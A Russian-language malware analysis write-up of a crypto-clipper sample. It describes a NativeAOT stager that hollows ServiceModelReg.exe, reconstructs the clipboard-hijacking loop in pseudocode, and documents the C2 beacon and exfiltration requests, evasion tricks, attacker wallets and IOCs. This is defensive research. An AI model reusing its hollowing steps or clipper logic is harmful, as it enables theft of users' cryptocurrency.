MalwareBazaar Sample #3
NativeAOT-криптоклиппер с process hollowing stager
Malware Bazaar : 5ee86cbcd296e0998ca20ee65a7506fb3baecfb7ce98eede29bff1a6a6e0fc95
NativeAOT-comiled .NET стейджер выполняет process hollowing в
ServiceModelReg.exe, инжектируя криптоклиппер. Payload
мониторит буфер обмена, распознает адреса 10+ криптовалют по паттернам
(BTC segwit/taproot, ETH, LTC, TRON, Cosmos, Stellar, XRP, BCH и др.),
подменяет их на адреса атакующего и отправляет данные на C2 через
WinINet HTTP API. Компиляция через NativeAOT дает 5000+ runtime-функций,
которые маскируют
20 реально малварных.
1 | Предварительный анализ
DiE:
Секции и энтропия:
Overlay: 9mb повторяющихся байтов (onml...), size
inflation для обхода sandbox лимитов на размер файла.
1.1 | Export Directory
TimeDateStamp = 0xFFFFFFFF, NumberOfFunctions = 0,
NumberOfNames = 0, Name указывает на мусорную строку
aNLIu9poBJwdif3slrHVxOudy7FNmgx.... DIE ловит это как
Phantom EAT
1.2 | TLS Directory
TLS-директория присутствует, но AddressOfCallbacks
(0x1400F6680) указывает на пустой массив (первый QWORD =
0). TLS используется runtime’ом для thread-local переменных, ловушек
(callbacks) нет. StartAddressOfRawData и
EndAddressOfRawData указывают на стандартные TLS-данные в
.rdata, AddressOfIndex в
.data.
1.3 | Манифест
Стандартный шаблон Visual Studio:
requestedExecutionLevel="asInvoker",
uiAccess="false". Имя сборки MyApplication.app
- дефолт, не меняли.
2 | Идентификация NativeAOT
Бинарник содержит
5200 функций при динамическом CRT, что первоначально наводило на мысль
об обфускации (control flow flattening). Однако строки в
.rdata выдают реальную природу:
- GC-параметры:
GCHeapHardLimit,GCHeapHardLimitPercent,GCHeapHardLimitSOH/LOH/POH - Thread scanning:
Scanning Thread,Starting scan of Thread,Ending scan of Thread - DllMain teardown:
DllMain THREAD_DETACH called Thread dying - Строка
"true"с xref наsub_1400A0E40- CoreCLR config parsing
Это строки из .NET CoreCLR garbage collector, статически влинкованного через NativeAOT компиляцию; т.е это нативно скомпилированное C# приложение, подавляющее большинство из 5000+ функций - runtime-код (exception handling, type system).
Далее я взял функцию GetProcAddress, после чего смотрел
x-refs:
В одной из функций был
TotalStressLogSize, StressLogLevel, немного погуглив
строки, убеждаемся в том, что перед нами машинерия .NET, а не малварь.
Нашел даже функцию, использующую IsWow64Process2 +
QueueUserAPC2 + предварительную обработку контекста
(поддержку AVX256 и тд.) - тут мне показалось, что это APC early bird
injection, но после получаса раскопок я понял что это ТОЖЕ часть дотнет
механизмов, а именно GC thread suspension:
- Проверка архитектуры:
IsWow64Process2(Win10 1709+) - точная архитектура процесса и хоста - Проверка CET: резолв
RtlGetReturnAddressHijackTargetиз ntdll для совместимости с shadow stack - Primary path:
QueueUserAPC2со special flagQUEUE_USER_APC_FLAGS_SPECIAL_USER_APC- APC выполняется при любом возврате в user mode, не требует alertable wait state - Context allocation через
sub_14009F500: динамический резолвInitializeContext2, проверка XState (AVX/AVX-512) черезGetEnabledXStateFeatures() - Fallback:
SuspendThreadSetThreadContextесли APC недоступен
Кросс-процессные API (WriteProcessMemory,
ReadProcessMemory, VirtualAllocEx,
CreateProcessW) не используются GC и являются реальными
индикаторами малварного функционала. Разделение runtime/malware проходит
именно по границе in-process/cross-process.
3 | Stager - структура main
После небольшого анализа и сопоставления
sub_<addr> стабов с memory map, я получил entry point
после CRT-инициализации в следующем виде (упрощенно):
int main(int argc, char **argv)
{
mal_RT_init(0); // nativeAOT runtime init
handle = mal_get_handle(sub_140078B80); // GetModuleHandleExW(5, ...)
// Регистрация exception handling + статических конструкторов NativeAOT
sub_14009F360(handle,
.text_start, // RVA 0x1000
.text_size, // sub_14008A510 - sub_140001000
.rdata_region, // sub_1400F4FD0
.rdata_region_size, // sub_1400F5890 - sub_1400F4FD0
initializer_table, // off_1401ADF20
14); // количество элементов
sub_140046900(handle, ...); // фиксап элементов (строки, vtable указатели)
real_main(argc, argv); // payload-логика
}Из интересного: mal_get_handle использует
GetModuleHandleExW с флагом
GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT
(5), получая хэндл модуля по адресу внутри него, без хардкода имени
А вот как выглядит real_main:
После возни, удалось понять, что 10-22 все так же не относятся к фунционалу малвари, граф был очень сложным и неанализируемым.
3.1 | Delay-load импорты
Стейджер использует MSVC /DELAYLOAD для части библиотек.
Delay-load resolver (sub_14009096C) - стандартный
__delayLoadHelper2:
- Таблица имен DLL по
off_1401AF0F0:api-ms-win-core-*, advapi32, kernel32, kernelbase, ntdll, user32 LoadLibraryExWс флагомLOAD_LIBRARY_SEARCH_SYSTEM32(0x800)- Патчинг delay-load IAT:
VirtualProtect(PAGE_READWRITE)-> запись ->VirtualProtect(PAGE_READONLY)
Сетевых DLL (ws2_32, winhttp, wininet) нет в обычной IAT
они либо delay-loaded, либо подгружаются динамически через
LoadLibraryExW + GetProcAddress (оба есть в
импортах)
4 | Payload
Здесь я понял, что статика бесполезна, поигрался с брейкпоинтами в x64dbg, решил посмотреть на работу малвари, расставив разные bp. Наблюдал весь процесс hollowing в SystemInformer :
Находясь в систем информере, решил сделать дамп прямо оттуда, но дамп из памяти жертвы не содержал рабочую IAT: Windows loader не обрабатывал этот PE, импорты не зарезолвлены. Scylla тоже не помогала: видимо, из-за того что нужные DLL (wininet.dll, user32.dll) еще не загружены в адресное пространство жертвы; в итоге IAT Search возвращает 0 valid APIs.
Попытка аттачнуться к жертве и поставить бп на API тоже не работала:
bp HttpSendRequestA
“invalid address”, потому что wininet.dll еще не загружена. При загрузке
через LdrLoadDll
бп на API
F9 процесс крашится с C0000005
(ACCESS_VIOLATION), вероятно анти-дебаг
bp HttpSendRequestA- failed, invalid addressbp InternetConnectA- failedbp InternetOpenA- failedbp OpenClipboard- failedbp SetClipboardData- failedbp GetClipboardData- failedbp LdrLoadDll- ждем загрузку wininet.dll и user32.dllПосле загрузки wininet:
bp HttpSendRequestA,bp InternetConnectA,bp InternetOpenAПосле загрузки user32:
bp OpenClipboard,bp SetClipboardData,bp GetClipboardDatabc LdrLoadDll- убрать чтобы не спамилF9 / Shift+F9 - крашится с C0000005, до срабатывания не дошло
bp CreateProcessWbp WriteProcessMemorybp ReadProcessMemorybp VirtualAllocExbp NtCreateThreadExbp NtMapViewOfSection
4.1 | Дамп пейлода
Дамп из памяти стейджера на момент первого
WriteProcessMemory. R8 содержит адрес буфера-источника -
полный PE в file layout с нетронутой IAT (детектим это по торчащему MZ в
RDI)
savedata "C:\payload_raw.bin", R8, 40000
В итоге сдамленный PE был валидным, с видимым IAT. С этого момента все стало намного легче, дальнейший анализ занял буквально 5 минут.
Сначала захожу в shift+f12, вижу:
Здесь уже все понятно.

Click Tab Заходим в логику малвари. Там более 1500 строк.
5 | Process Hollowing
Был известен еще до явного доступа к коду, со всеми параметрами в регистрах. Известная техника, идея: приостановленный запуск, потрошение.
- Это легитимный бинарник .NET Framework, подписана Microsoft, не вызывает подозрений у EDR
CreateProcessW("C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelReg.exe", ..., CREATE_SUSPENDED)- Читает PE header для определения оригинального ImageBase и entry point.
ReadProcessMemory(hProcess, ImageBase, &buffer, 0x78, ...)- 256 КБ RWX по предпочитаемому базовому адресу
VirtualAllocEx(hProcess, 0x140000000, 0x40000, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)Серия
WriteProcessMemory: сначала PE header (0x400 байт), затем каждая секция по отдельностиОсновной поток жертвы возобновляется, начиная выполнение payload
ResumeThread6 | Криптоклиппер
6.1 | Инициализация
// проверка на существование
MutexW = CreateMutexW(NULL, FALSE, "u");
if (GetLastError() == ERROR_ALREADY_EXISTS) { // 183
CloseHandle(MutexW);
return;
}
// COM/WMI init
CoInitializeEx(NULL, COINIT_MULTITHREADED);
CoInitializeSecurity(NULL, -1, NULL, NULL, 0, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL);Mutex с именем "u" минимальный IoC, легко
пропустить.
6.2 | Fingerprinting
Сбор идентификаторов системы через WMI (ROOT\CIMV2):
| WMI class | ||
|---|---|---|
| Win32_Processor | ProcessorId | ID процессора |
| Win32_ComputerSystemProduct | UUID | motherboard UUID |
| Win32_DiskDrive | SerialNumber | Серийный номер диска |
Дополнительно читаются переменные окружения COMPUTERNAME
и USERNAME. Результат конкатенируется в строку вида
COMPUTERNAME\\USERNAME<ProcessorId><UUID><SerialNumber>,
затем хэшируется. Выходной GUID бота - 32 hex-символа (v196).
Хэш-функция обрабатывается в sub_140006C82, работает с
64-байтными блоками, результат 16 байт (128 бит), преобразуется в hex
через таблицу a0123456789abcd. По размеру блока и выхода
это MD5, но возможен кастомный вариант.
// Преобразование hash -> hex GUID
for (k = 0; k < 16; ++k) {
v196[2*k] = hex_table[hash[k] >> 4];
v196[2*k + 1] = hex_table[hash[k] & 0xF];
}
v196[32] = 0;6.3 | C2
HTTP через WinINet (InternetOpenA,
InternetConnectA, HttpOpenRequestA,
HttpSendRequestA).
- Beacon (каждые ~600 секунд,
0x927BF= 599999 мс):
POST method=refresh&guid=<32-hex-guid>
Ответ сервера парсится в sub_14000667A. Если сервер
вернул данные (LOBYTE(v217[0]) != 0), клиент обрабатывает
их через sub_1400066D4. Предположительно C2 может обновлять
конфигурацию (адреса подмены, параметры).
- Отправка подмененного адреса:
POST method=send&guid=<32-hex-guid>&address=<original_victim_address>
- C2-адрес и User-Agent хранятся в структурах
off_1400253E0/unk_140025458в.rdatapayload’а. Функция подключенияsub_14000381Eвызывается с retry-логикой: до 5 попыток с паузой 500 мс (Sleep(0x1F4)). ### 6.4 | Проверка баланса ERC-20
JSON-RPC вызов (явно виден в строках):
{
"id": 1,
"jsonrpc": "2.0",
"method": "eth_call",
"params": [{
"to": "0x6936edc505501EBB2F202C985a021a06f1c10C9E",
"data": "0x70a08231000000000000000000000000<victim_address>"
}, "latest"]
}0x70a08231 - сигнатура balanceOf(address)
стандарта ERC-20. Контракт 0x6936edc... - наверное
конкретный токен, баланс которого проверяется перед подменой.
6.5 | Clipboard Monitor, основной цикл
while (1) {
// Периодически отправлять beacon на C2
if (TickCount64 - lastBeacon > 0x927BF) {
send_refresh(guid);
lastBeacon = TickCount64;
}
Sleep(50); // 0x32 polling interval
if (!OpenClipboard(NULL)) continue;
if (!IsClipboardFormatAvailable(CF_UNICODETEXT)) { // 0xD
CloseClipboard();
continue;
}
data = GetClipboardData(CF_UNICODETEXT);
text = (WCHAR*)GlobalLock(data);
// Конвертация UTF-16 -> UTF-8 (SSE2-оптимизированная, пакетами по 8 символов)
// Сканирование по паттернам криптоадресов
// При совпадении: EmptyClipboard -> SetClipboardData(адрес атакующего)
// + отправка method=send на C2
GlobalUnlock(data);
CloseClipboard();
}UTF-16
UTF-8 конвертация оптимизирована через SSE2:
_mm_cmpeq_epi16 + _mm_packus_epi16
обрабатывают по 8 wide-char символов за итерацию, с fallback на
побайтовую обработку для non-ASCII и суррогатных пар. Понять это в
декомпиляторе было довольно сложно.
6.6 | Распознавание адресов
Payload проверяет содержимое буфера обмена по следующим паттернам:
| ID | Crypto | Pattern | Len | Address для подмены | |
|---|---|---|---|---|---|
| 0 | BTC (bech32m, начало 1) |
1... |
26–34 | sub_14000691C (bech32 charset) |
|
| 1 | BCH/BCHA | 3... |
34 | bech32 charset | |
| 2 | BTC Segwit | bc1q + 38 chars |
42 | sub_140006980 (bech32 lower) |
bc1qjmmnmjl54c8fzv8s4uvfsklgxe5hwe94kqaxh2 |
| 3 | BTC Taproot | bc1p + 58 chars |
62 | bech32 lower | bc1phpyljll0vkjaukl33mmxfgcn030fe3rr3kt3lx9tvel7pap72rcsg5shm0 |
| 4 | Ethereum | 0x + 40 hex chars |
42 | hex validation | 0x8C9C95A830b7E7e86f2f12DB88e911499A6f695f |
| 5 | Bitcoin Cash | bitcoincash:q + 41 chars |
54 | bech32 | |
| 6 | Bitcoin Cash (P2SH) | bitcoincash:p + 41 chars |
54 | bech32 | |
| 7 | Litecoin (legacy, L) |
L... |
34 | sub_14000691C |
|
| 8 | Litecoin (M-addr) | M... |
34 | base58 charset | |
| 9 | Litecoin Segwit | ltc1q + 38 chars |
43 | bech32 lower | ltc1q3h79hhtvg0h66wyd9cjy20mzcwjdkcfj60cshz |
| 10 | Dogecoin | D... |
34 | base58 | |
| 11 | XRP | r... 26-34 chars |
variable | ripple base58 (rpshnaf39wBUDNEGHJKLM...) |
|
| 12 | XMR (или подобный) | X... |
34 | base58 | |
| 13 | Dash (?) | 7... |
34 | base58 | |
| 14 | TRON | T... |
34 | base58 | TPtJCKJJDbLLPE7Mo9CZHw9RVWKV1hXcJJ |
| 15 | ? | R... |
34 | base58 | |
| 16 | ? | r... |
34 | base58 | |
| 17 | Stellar | 58 chars | 58 | base32 (ABCDEFGHIJKLMNOPQRSTUVWXYZ234567) |
JZQCYTRBUGZR6TD6BLJXMB2ZYXI72CKFYPFGD5MP7K6FFV4XQ6QUFCRNEQ |
| 18 | Solana / подобный | U/E/u/e... |
48 | base64url (A-Za-z0-9-_) |
|
| 19 | Cosmos | cosmos1 + 38 chars |
45 | bech32 lower | cosmos1tddarrjtgstsnutx9qpamsfjkpjjq52arpxklr |
| 20 | Generic fallback | 42-44 chars, alphanumeric | variable | sub_14000691C |
Валидационные функции: sub_14000691C проверяет что все
символы принадлежат bech32/base58 charset, sub_140006980 -
аналогично для bech32 lowercase, sub_140006664 - префиксный
матч (memcmp). После каждого матча проверяется следующий символ: если он
alphanumeric - это часть более длинного токена, матч отклоняется
(boundary check).
Логика подмены: при совпадении паттерна -
EmptyClipboard() ->
GlobalAlloc(GMEM_MOVEABLE) -> GlobalLock
-> memcpy (адрес атакующего в UTF-16) -> null-terminator ->
GlobalUnlock ->
SetClipboardData(CF_UNICODETEXT). Подмена сопровождается
отправкой method=send на C2 с оригинальным адресом жертвы,
если с момента последнего beacon прошло менее 5 секунд
(0x1388 = 5000 мс).
Все найденные адреса в одном clipboard сохраняются в динамический массив (24 байта на запись: offset начала, offset конца, ID типа + доп. поля). Подмена происходит для каждого найденного адреса в буфере, не только первого.
7 | IOCs
7.1 | Кошельки автора
bc1qjmmnmjl54c8fzv8s4uvfsklgxe5hwe94kqaxh2 # BTC Segwit
bc1phpyljll0vkjaukl33mmxfgcn030fe3rr3kt3lx9tvel7pap72rcsg5shm0 # BTC Taproot
0x8C9C95A830b7E7e86f2f12DB88e911499A6f695f # Ethereum
ltc1q3h79hhtvg0h66wyd9cjy20mzcwjdkcfj60cshz # Litecoin
TPtJCKJJDbLLPE7Mo9CZHw9RVWKV1hXcJJ # TRON
JZQCYTRBUGZR6TD6BLJXMB2ZYXI72CKFYPFGD5MP7K6FFV4XQ6QUFCRNEQ # Stellar
cosmos1tddarrjtgstsnutx9qpamsfjkpjjq52arpxklr # Cosmos
7.2 | ERC-20 contract
0x6936edc505501EBB2F202C985a021a06f1c10C9E
7.3 | Hashes
SHA256 (стейджер): 5ee86cbcd296e0998ca20ee65a7506fb3baecfb7ce98eede29bff1a6a6e0fc95
SHA256 (payload): TODO: sha256sum payload_raw.bin
7.4 | Mutex
u
7.5 | Процесс-жертва (hollowing target)
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelReg.exe
7.6 | C2
При доступе к C2 скачивается пустой файл с рандомным именем из 8 символов. Наверное, можно провести более глубокий анализ и найти еще зашифрованные адреса С2, но мне кажется коммуникация ограничивается крафтингом разных запросов и ответы обрабатываются на основе названий полученных пустых файлов.
bsc.blockrazor.xyz
8 | Ошибки
8.1 | Статика: ложный след NativeAOT runtime
Первые часы анализа ушли на разбор функций, которые оказались частью .NET NativeAOT runtime. Цепочка ошибок:
IAT выглядит как injection toolkit :
QueueUserAPC2,WriteProcessMemory,SuspendThread,GetThreadContextв импортах. Очевидным путем было искатьxrefы на эти API и разбирать вызывающие функции, но в NativeAOT бинаре большинство этих API используются GC для управления managed-потоками, а не для инжектаGetProcAddress
xrefы ведут в CRT 15xrefнаGetProcAddress, из них первый (try_cor_exit_process) резолвитCorExitProcessизmscoree.dll(стандартный .NET teardown), второй (sub_14009096C) - delay-load resolver__delayLoadHelper2.Оба оказались легитимной частью дотнет машинерииТрейсинг GC thread suspension Поднимаясь по
xrefотsub_14009F880, я нашел цепочкуapc_up_1->apc_up_2->apc_up_3. Переименовал, разобрал. Все оказалось GC:apc_up_3принимает GC reason codes (1=foreground, 6=background),apc_up_2проходит по managed threads через TLS,apc_up_1проверяет thread state flags
8.2 | Разделение runtime и payload
После идентификации NativeAOT нужен критерий: какие API принадлежат runtime, а какие payload’у. Критерий : in-process VS cross-process.
GC работает только внутри своего процесса. Ему нужны
SuspendThread, QueueUserAPC2,
GetThreadContext для своих потоков. Ему не нужны
WriteProcessMemory, ReadProcessMemory,
VirtualAllocEx, CreateProcessW - это
кросс-процессные API. Бп в x64dbg на эти четыре API сразу показали
process hollowing.
8.3 | Динамика
x64dbg с бряками на кросс-процессные API - основной рабочий метод. Цепочка срабатываний:
NtCreateThreadEx -> runtime (загрузка DLL при старте)
NtMapViewOfSection -> runtime (то же)
CreateProcessW -> PAYLOAD: создание ServiceModelReg.exe suspended
ReadProcessMemory -> PAYLOAD: чтение PE header жертвы (MZ в буфере)
VirtualAllocEx -> PAYLOAD: 256KB RWX в жертве по 0x140000000
WriteProcessMemory -> PAYLOAD: запись header (0x400), потом секции
;тут можно дампить rwx регион (даже если не rwx - смотрим аргументы функции и этот адрес наш)
ResumeThread -> PAYLOAD: запуск
8.4 | Динамика, ошибки
При аттаче к жертве я пробовал следующие вещи:
bp HttpSendRequestA-> “invalid address”. Причина простая:wininet.dllеще не загружена в жертву, процесс suspended, loader не сработал. Попробовал потом поставить бп наLdrLoadDll, ждать загрузкуwininet.dll, потом ставить бп на API функции:LdrLoadDll -> ждать wininet -> bp API -> F9 ->
C0000005. Процесс крашится с ACCESS_VIOLATION. Я так и не разобрался почему это произошло, я думаю это антидебаг функционал, хотя динамику проводил со включенным ScyllaHideScylla IAT reconstruction -> 0 valid APIs. IAT Search находит область, но 0 распознанных функций. Причина (гугл): PE записан в жертву через
WriteProcessMemory, Windows loader его не обрабатывал, IAT содержит RVA на thunks, а не зарезолвленные адреса, поэтому нечего показывать
8.5 | Дамп payload: правильный способ
Единственный рабочий вариант: дамп из памяти стейджера, не жертвы. На
бп WriteProcessMemory R8 содержит адрес памяти малварного
процесса. Там лежит полный PE в file layout (не memory layout) с
нетронутой Import Directory. Команда:
savedata "C:\payload_raw.bin", R8, 40000 //40'000 == 256kb, тоже видно из регистра
9 | Итог
Семпл демонстрирует использование NativeAOT-компиляции как средства
обфускации: 5000+ функций .NET runtime (GC, threading, exception
handling, type system) маскируют
20 реально малварных. При статическом анализе это создает иллюзию
control flow flattening и заставляет тратить время на разбор легитимного
кода. Ключевой момент, который позволяет сориентироваться - строки
CoreCLR GC (GCHeapHardLimit, Scanning Thread,
DllMain THREAD_DETACH).
Стейджер имеет несколько уровней detect evasion: overlay inflation (9
МБ для обхода sandbox-лимитов), Phantom EAT (фейковая таблица экспорта),
delay-load импорты (скрытие API от статического анализа), process
hollowing в подписанный Microsoft бинарь
(ServiceModelReg.exe). Сам payload использует
SSE2-оптимизированную UTF-16->UTF-8 конвертацию и поддерживает 20+
типов криптоадресов с корректной boundary validation.
Есть проверка IsWow64Process2 (не
IsWow64Process), учет XState/CET,
QueueUserAPC2 со special flag, retry-логика с
beacon’ами.
По mutex "u" и хардкоженным адресам кошельков без
шифрования можно быстро создать YARA-правила.